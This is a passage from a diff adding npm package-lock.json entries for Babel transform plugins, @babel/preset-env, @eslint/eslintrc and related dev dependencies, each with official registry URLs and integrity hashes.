+ "integrity": "sha512-26lTNXoVRdAnsaDXPpvCNUq+OVWEVC6bx7Vvz9rC53F2bagUWW4u4ii2+h8Fejfh7RYqPxn+libeFBBck9muEw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-async-to-generator": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.22.5.tgz",
+ "integrity": "sha512-b1A8D8ZzE/VhNDoV1MSJTnpKkCG5bJo+19R4o4oy03zM7ws8yEMK755j61Dc3EyvdysbqH5BOOTquJ7ZX9C6vQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-module-imports": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-remap-async-to-generator": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-block-scoped-functions": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.22.5.tgz",
+ "integrity": "sha512-tdXZ2UdknEKQWKJP1KMNmuF5Lx3MymtMN/pvA+p/VEkhK8jVcQ1fzSy8KM9qRYhAf2/lV33hoMPKI/xaI9sADA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-block-scoping": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.22.5.tgz",
+ "integrity": "sha512-EcACl1i5fSQ6bt+YGuU/XGCeZKStLmyVGytWkpyhCLeQVA0eu6Wtiw92V+I1T/hnezUv7j74dA/Ro69gWcU+hg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-classes": {
+ "version": "7.22.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.22.6.tgz",
+ "integrity": "sha512-58EgM6nuPNG6Py4Z3zSuu0xWu2VfodiMi72Jt5Kj2FECmaYk1RrTXA45z6KBFsu9tRgwQDwIiY4FXTt+YsSFAQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-annotate-as-pure": "^7.22.5",
+ "@babel/helper-compilation-targets": "^7.22.6",
+ "@babel/helper-environment-visitor": "^7.22.5",
+ "@babel/helper-function-name": "^7.22.5",
+ "@babel/helper-optimise-call-expression": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-replace-supers": "^7.22.5",
+ "@babel/helper-split-export-declaration": "^7.22.6",
+ "globals": "^11.1.0"
+ }
+ },
+ "@babel/plugin-transform-computed-properties": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.22.5.tgz",
+ "integrity": "sha512-4GHWBgRf0krxPX+AaPtgBAlTgTeZmqDynokHOX7aqqAB4tHs3U2Y02zH6ETFdLZGcg9UQSD1WCmkVrE9ErHeOg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/template": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-destructuring": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.22.5.tgz",
+ "integrity": "sha512-GfqcFuGW8vnEqTUBM7UtPd5A4q797LTvvwKxXTgRsFjoqaJiEg9deBG6kWeQYkVEL569NpnmpC0Pkr/8BLKGnQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-dotall-regex": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.22.5.tgz",
+ "integrity": "sha512-5/Yk9QxCQCl+sOIB1WelKnVRxTJDSAIxtJLL2/pqL14ZVlbH0fUQUZa/T5/UnQtBNgghR7mfB8ERBKyKPCi7Vw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-create-regexp-features-plugin": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-duplicate-keys": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.22.5.tgz",
+ "integrity": "sha512-dEnYD+9BBgld5VBXHnF/DbYGp3fqGMsyxKbtD1mDyIA7AkTSpKXFhCVuj/oQVOoALfBs77DudA0BE4d5mcpmqw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-exponentiation-operator": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.22.5.tgz",
+ "integrity": "sha512-vIpJFNM/FjZ4rh1myqIya9jXwrwwgFRHPjT3DkUA9ZLHuzox8jiXkOLvwm1H+PQIP3CqfC++WPKeuDi0Sjdj1g==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-for-of": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.22.5.tgz",
+ "integrity": "sha512-3kxQjX1dU9uudwSshyLeEipvrLjBCVthCgeTp6CzE/9JYrlAIaeekVxRpCWsDDfYTfRZRoCeZatCQvwo+wvK8A==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-function-name": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.22.5.tgz",
+ "integrity": "sha512-UIzQNMS0p0HHiQm3oelztj+ECwFnj+ZRV4KnguvlsD2of1whUeM6o7wGNj6oLwcDoAXQ8gEqfgC24D+VdIcevg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-compilation-targets": "^7.22.5",
+ "@babel/helper-function-name": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-literals": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.22.5.tgz",
+ "integrity": "sha512-fTLj4D79M+mepcw3dgFBTIDYpbcB9Sm0bpm4ppXPaO+U+PKFFyV9MGRvS0gvGw62sd10kT5lRMKXAADb9pWy8g==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-member-expression-literals": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.22.5.tgz",
+ "integrity": "sha512-RZEdkNtzzYCFl9SE9ATaUMTj2hqMb4StarOJLrZRbqqU4HSBE7UlBw9WBWQiDzrJZJdUWiMTVDI6Gv/8DPvfew==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-modules-amd": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.22.5.tgz",
+ "integrity": "sha512-R+PTfLTcYEmb1+kK7FNkhQ1gP4KgjpSO6HfH9+f8/yfp2Nt3ggBjiVpRwmwTlfqZLafYKJACy36yDXlEmI9HjQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-module-transforms": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-modules-commonjs": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.22.5.tgz",
+ "integrity": "sha512-B4pzOXj+ONRmuaQTg05b3y/4DuFz3WcCNAXPLb2Q0GT0TrGKGxNKV4jwsXts+StaM0LQczZbOpj8o1DLPDJIiA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-module-transforms": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-simple-access": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-modules-systemjs": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.22.5.tgz",
+ "integrity": "sha512-emtEpoaTMsOs6Tzz+nbmcePl6AKVtS1yC4YNAeMun9U8YCsgadPNxnOPQ8GhHFB2qdx+LZu9LgoC0Lthuu05DQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-hoist-variables": "^7.22.5",
+ "@babel/helper-module-transforms": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-validator-identifier": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-modules-umd": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.22.5.tgz",
+ "integrity": "sha512-+S6kzefN/E1vkSsKx8kmQuqeQsvCKCd1fraCM7zXm4SFoggI099Tr4G8U81+5gtMdUeMQ4ipdQffbKLX0/7dBQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-module-transforms": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-named-capturing-groups-regex": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.22.5.tgz",
+ "integrity": "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-create-regexp-features-plugin": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-new-target": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.22.5.tgz",
+ "integrity": "sha512-AsF7K0Fx/cNKVyk3a+DW0JLo+Ua598/NxMRvxDnkpCIGFh43+h/v2xyhRUYf6oD8gE4QtL83C7zZVghMjHd+iw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-object-super": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.22.5.tgz",
+ "integrity": "sha512-klXqyaT9trSjIUrcsYIfETAzmOEZL3cBYqOYLJxBHfMFFggmXOv+NYSX/Jbs9mzMVESw/WycLFPRx8ba/b2Ipw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-replace-supers": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-optional-chaining": {
+ "version": "7.22.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.22.6.tgz",
+ "integrity": "sha512-Vd5HiWml0mDVtcLHIoEU5sw6HOUW/Zk0acLs/SAeuLzkGNOPc9DB4nkUajemhCmTIz3eiaKREZn2hQQqF79YTg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5",
+ "@babel/plugin-syntax-optional-chaining": "^7.8.3"
+ }
+ },
+ "@babel/plugin-transform-parameters": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.22.5.tgz",
+ "integrity": "sha512-AVkFUBurORBREOmHRKo06FjHYgjrabpdqRSwq6+C7R5iTCZOsM4QbcB27St0a4U6fffyAOqh3s/qEfybAhfivg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-property-literals": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.22.5.tgz",
+ "integrity": "sha512-TiOArgddK3mK/x1Qwf5hay2pxI6wCZnvQqrFSqbtg1GLl2JcNMitVH/YnqjP+M31pLUeTfzY1HAXFDnUBV30rQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-regenerator": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.22.5.tgz",
+ "integrity": "sha512-rR7KePOE7gfEtNTh9Qw+iO3Q/e4DEsoQ+hdvM6QUDH7JRJ5qxq5AA52ZzBWbI5i9lfNuvySgOGP8ZN7LAmaiPw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "regenerator-transform": "^0.15.1"
+ }
+ },
+ "@babel/plugin-transform-reserved-words": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.22.5.tgz",
+ "integrity": "sha512-DTtGKFRQUDm8svigJzZHzb/2xatPc6TzNvAIJ5GqOKDsGFYgAskjRulbR/vGsPKq3OPqtexnz327qYpP57RFyA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-shorthand-properties": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.22.5.tgz",
+ "integrity": "sha512-vM4fq9IXHscXVKzDv5itkO1X52SmdFBFcMIBZ2FRn2nqVYqw6dBexUgMvAjHW+KXpPPViD/Yo3GrDEBaRC0QYA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-spread": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.22.5.tgz",
+ "integrity": "sha512-5ZzDQIGyvN4w8+dMmpohL6MBo+l2G7tfC/O2Dg7/hjpgeWvUx8FzfeOKxGog9IimPa4YekaQ9PlDqTLOljkcxg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-sticky-regex": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.22.5.tgz",
+ "integrity": "sha512-zf7LuNpHG0iEeiyCNwX4j3gDg1jgt1k3ZdXBKbZSoA3BbGQGvMiSvfbZRR3Dr3aeJe3ooWFZxOOG3IRStYp2Bw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-template-literals": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.22.5.tgz",
+ "integrity": "sha512-5ciOehRNf+EyUeewo8NkbQiUs4d6ZxiHo6BcBcnFlgiJfu16q0bQUw9Jvo0b0gBKFG1SMhDSjeKXSYuJLeFSMA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-typeof-symbol": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.22.5.tgz",
+ "integrity": "sha512-bYkI5lMzL4kPii4HHEEChkD0rkc+nvnlR6+o/qdqR6zrm0Sv/nodmyLhlq2DO0YKLUNd2VePmPRjJXSBh9OIdA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-unicode-escapes": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.22.5.tgz",
+ "integrity": "sha512-biEmVg1IYB/raUO5wT1tgfacCef15Fbzhkx493D3urBI++6hpJ+RFG4SrWMn0NEZLfvilqKf3QDrRVZHo08FYg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/plugin-transform-unicode-regex": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.22.5.tgz",
+ "integrity": "sha512-028laaOKptN5vHJf9/Arr/HiJekMd41hOEZYvNsrsXqJ7YPYuX2bQxh31fkZzGmq3YqHRJzYFFAVYvKfMPKqyg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-create-regexp-features-plugin": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5"
+ }
+ },
+ "@babel/preset-env": {
+ "version": "7.15.8",
+ "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.15.8.tgz",
+ "integrity": "sha512-rCC0wH8husJgY4FPbHsiYyiLxSY8oMDJH7Rl6RQMknbN9oDDHhM9RDFvnGM2MgkbUJzSQB4gtuwygY5mCqGSsA==",
+ "dev": true,
+ "requires": {
+ "@babel/compat-data": "^7.15.0",
+ "@babel/helper-compilation-targets": "^7.15.4",
+ "@babel/helper-plugin-utils": "^7.14.5",
+ "@babel/helper-validator-option": "^7.14.5",
+ "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.15.4",
+ "@babel/plugin-proposal-async-generator-functions": "^7.15.8",
+ "@babel/plugin-proposal-class-properties": "^7.14.5",
+ "@babel/plugin-proposal-class-static-block": "^7.15.4",
+ "@babel/plugin-proposal-dynamic-import": "^7.14.5",
+ "@babel/plugin-proposal-export-namespace-from": "^7.14.5",
+ "@babel/plugin-proposal-json-strings": "^7.14.5",
+ "@babel/plugin-proposal-logical-assignment-operators": "^7.14.5",
+ "@babel/plugin-proposal-nullish-coalescing-operator": "^7.14.5",
+ "@babel/plugin-proposal-numeric-separator": "^7.14.5",
+ "@babel/plugin-proposal-object-rest-spread": "^7.15.6",
+ "@babel/plugin-proposal-optional-catch-binding": "^7.14.5",
+ "@babel/plugin-proposal-optional-chaining": "^7.14.5",
+ "@babel/plugin-proposal-private-methods": "^7.14.5",
+ "@babel/plugin-proposal-private-property-in-object": "^7.15.4",
+ "@babel/plugin-proposal-unicode-property-regex": "^7.14.5",
+ "@babel/plugin-syntax-async-generators": "^7.8.4",
+ "@babel/plugin-syntax-class-properties": "^7.12.13",
+ "@babel/plugin-syntax-class-static-block": "^7.14.5",
+ "@babel/plugin-syntax-dynamic-import": "^7.8.3",
+ "@babel/plugin-syntax-export-namespace-from": "^7.8.3",
+ "@babel/plugin-syntax-json-strings": "^7.8.3",
+ "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4",
+ "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
+ "@babel/plugin-syntax-numeric-separator": "^7.10.4",
+ "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+ "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
+ "@babel/plugin-syntax-optional-chaining": "^7.8.3",
+ "@babel/plugin-syntax-private-property-in-object": "^7.14.5",
+ "@babel/plugin-syntax-top-level-await": "^7.14.5",
+ "@babel/plugin-transform-arrow-functions": "^7.14.5",
+ "@babel/plugin-transform-async-to-generator": "^7.14.5",
+ "@babel/plugin-transform-block-scoped-functions": "^7.14.5",
+ "@babel/plugin-transform-block-scoping": "^7.15.3",
+ "@babel/plugin-transform-classes": "^7.15.4",
+ "@babel/plugin-transform-computed-properties": "^7.14.5",
+ "@babel/plugin-transform-destructuring": "^7.14.7",
+ "@babel/plugin-transform-dotall-regex": "^7.14.5",
+ "@babel/plugin-transform-duplicate-keys": "^7.14.5",
+ "@babel/plugin-transform-exponentiation-operator": "^7.14.5",
+ "@babel/plugin-transform-for-of": "^7.15.4",
+ "@babel/plugin-transform-function-name": "^7.14.5",
+ "@babel/plugin-transform-literals": "^7.14.5",
+ "@babel/plugin-transform-member-expression-literals": "^7.14.5",
+ "@babel/plugin-transform-modules-amd": "^7.14.5",
+ "@babel/plugin-transform-modules-commonjs": "^7.15.4",
+ "@babel/plugin-transform-modules-systemjs": "^7.15.4",
+ "@babel/plugin-transform-modules-umd": "^7.14.5",
+ "@babel/plugin-transform-named-capturing-groups-regex": "^7.14.9",
+ "@babel/plugin-transform-new-target": "^7.14.5",
+ "@babel/plugin-transform-object-super": "^7.14.5",
+ "@babel/plugin-transform-parameters": "^7.15.4",
+ "@babel/plugin-transform-property-literals": "^7.14.5",
+ "@babel/plugin-transform-regenerator": "^7.14.5",
+ "@babel/plugin-transform-reserved-words": "^7.14.5",
+ "@babel/plugin-transform-shorthand-properties": "^7.14.5",
+ "@babel/plugin-transform-spread": "^7.15.8",
+ "@babel/plugin-transform-sticky-regex": "^7.14.5",
+ "@babel/plugin-transform-template-literals": "^7.14.5",
+ "@babel/plugin-transform-typeof-symbol": "^7.14.5",
+ "@babel/plugin-transform-unicode-escapes": "^7.14.5",
+ "@babel/plugin-transform-unicode-regex": "^7.14.5",
+ "@babel/preset-modules": "^0.1.4",
+ "@babel/types": "^7.15.6",
+ "babel-plugin-polyfill-corejs2": "^0.2.2",
+ "babel-plugin-polyfill-corejs3": "^0.2.5",
+ "babel-plugin-polyfill-regenerator": "^0.2.2",
+ "core-js-compat": "^3.16.0",
+ "semver": "^6.3.0"
+ }
+ },
+ "@babel/preset-modules": {
+ "version": "0.1.5",
+ "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.5.tgz",
+ "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.0.0",
+ "@babel/plugin-proposal-unicode-property-regex": "^7.4.4",
+ "@babel/plugin-transform-dotall-regex": "^7.4.4",
+ "@babel/types": "^7.4.4",
+ "esutils": "^2.0.2"
+ }
+ },
+ "@babel/register": {
+ "version": "7.15.3",
+ "resolved": "https://registry.npmjs.org/@babel/register/-/register-7.15.3.tgz",
+ "integrity": "sha512-mj4IY1ZJkorClxKTImccn4T81+UKTo4Ux0+OFSV9hME1ooqS9UV+pJ6BjD0qXPK4T3XW/KNa79XByjeEMZz+fw==",
+ "dev": true,
+ "requires": {
+ "clone-deep": "^4.0.1",
+ "find-cache-dir": "^2.0.0",
+ "make-dir": "^2.1.0",
+ "pirates": "^4.0.0",
+ "source-map-support": "^0.5.16"
+ }
+ },
+ "@babel/regjsgen": {
+ "version": "0.8.0",
+ "resolved": "https://registry.npmjs.org/@babel/regjsgen/-/regjsgen-0.8.0.tgz",
+ "integrity": "sha512-x/rqGMdzj+fWZvCOYForTghzbtqPDZ5gPwaoNGHdgDfF2QA/XZbCBp4Moo5scrkAMPhB7z26XM/AaHuIJdgauA==",
+ "dev": true
+ },
+ "@babel/runtime": {
+ "version": "7.22.6",
+ "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.22.6.tgz",
+ "integrity": "sha512-wDb5pWm4WDdF6LFUde3Jl8WzPA+3ZbxYqkC6xAXuD3irdEHN1k0NfTRrJD8ZD378SJ61miMLCqIOXYhd8x+AJQ==",
+ "dev": true,
+ "requires": {
+ "regenerator-runtime": "^0.13.11"
+ }
+ },
+ "@babel/template": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.22.5.tgz",
+ "integrity": "sha512-X7yV7eiwAxdj9k94NEylvbVHLiVG1nvzCV2EAowhxLTwODV1jl9UzZ48leOC0sH7OnuHrIkllaBgneUykIcZaw==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.22.5",
+ "@babel/parser": "^7.22.5",
+ "@babel/types": "^7.22.5"
+ }
+ },
+ "@babel/traverse": {
+ "version": "7.22.8",
+ "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.22.8.tgz",
+ "integrity": "sha512-y6LPR+wpM2I3qJrsheCTwhIinzkETbplIgPBbwvqPKc+uljeA5gP+3nP8irdYt1mjQaDnlIcG+dw8OjAco4GXw==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.22.5",
+ "@babel/generator": "^7.22.7",
+ "@babel/helper-environment-visitor": "^7.22.5",
+ "@babel/helper-function-name": "^7.22.5",
+ "@babel/helper-hoist-variables": "^7.22.5",
+ "@babel/helper-split-export-declaration": "^7.22.6",
+ "@babel/parser": "^7.22.7",
+ "@babel/types": "^7.22.5",
+ "debug": "^4.1.0",
+ "globals": "^11.1.0"
+ }
+ },
+ "@babel/types": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.22.5.tgz",
+ "integrity": "sha512-zo3MIHGOkPOfoRXitsgHLjEXmlDaD/5KU1Uzuc9GNiZPhSqVxVRtxuPaSBZDsYZ9qV88AjtMtWW7ww98loJ9KA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-string-parser": "^7.22.5",
+ "@babel/helper-validator-identifier": "^7.22.5",
+ "to-fast-properties": "^2.0.0"
+ }
+ },
+ "@eslint/eslintrc": {
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.4.1.tgz",
+ "integrity": "sha512-XXrH9Uarn0stsyldqDYq8r++mROmWRI1xKMXa640Bb//SY1+ECYX6VzT6Lcx5frD0V30XieqJ0oX9I2Xj5aoMA==",
+ "dev": true,
+ "requires": {
+ "ajv": "^6.12.4",
+ "debug": "^4.3.2",
+ "espree": "^9.4.0",
+ "globals": "^13.19.0",
+ "ignore": "^5.2.0",
+ "import-fresh": "^3.2.1",
+ "js-yaml": "^4.1.0",
+ "minimatch": "^3.1.2",
+ "strip-json-comments": "^3.1.1"
+ },
+ "dependencies": {
+ "globals": {
+ "version": "13.20.0",
+ "resolved": "https://registry.npmjs.org/globals/-/globals-13.20.0.tgz",
+ "integrity": "sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==",
+ "dev": true,
+ "requires": {
+ "type-fest": "^0.20.2"
+ }
+ },
+ "ignore": {
+ "version": "5.2.4",
+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz",
+ "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==",
+ "dev": true
+ },
+ "type-fest": {
+ "version": "0.20.2",
+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
+ "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==",
+ "dev": true
+ }
+ }
+ },
+ "@humanwhocodes/config-array": {
+ "version": "0.6.0",
+ "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.6.0.tgz",
+ "integrity": "sha512-JQlEKbcgEUjBFhLIF4iqM7u/9lwgHRBcpHrmUNCALK0Q3amXN6lxdoXLnF0sm11E9VqTmBALR87IlUg1bZ8A9A==",
+ "dev": true,
+ "requires": {
+ "@humanwhocodes/object-schema": "^1.2.0",
+ "debug": "^4.1.1",
+ "minimatch": "^3.0.4"
+ }
+ },
+ "@humanwhocodes/object-schema": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz",
+ "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==",
+ "dev": true
+ },
+ "@istanbuljs/load-nyc-config": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz",
+ "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==",
+ "dev": true,
+ "requires": {
+ "camelcase": "^5.3.1",
+ "find-up": "^4.1.0",
+ "get-package-type": "^0.1.0",
+ "js-yaml": "^3.13.1",
+ "resolve-from": "^5.0.0"
+ },
+ "dependencies": {
+ "argparse": {
+ "version": "1.0.10",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+ "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+ "dev": true,
+ "requires": {
+ "sprintf-js": "~1.0.2"
+ }
+ },
+ "find-up": {
+ "version": "4.1.0",
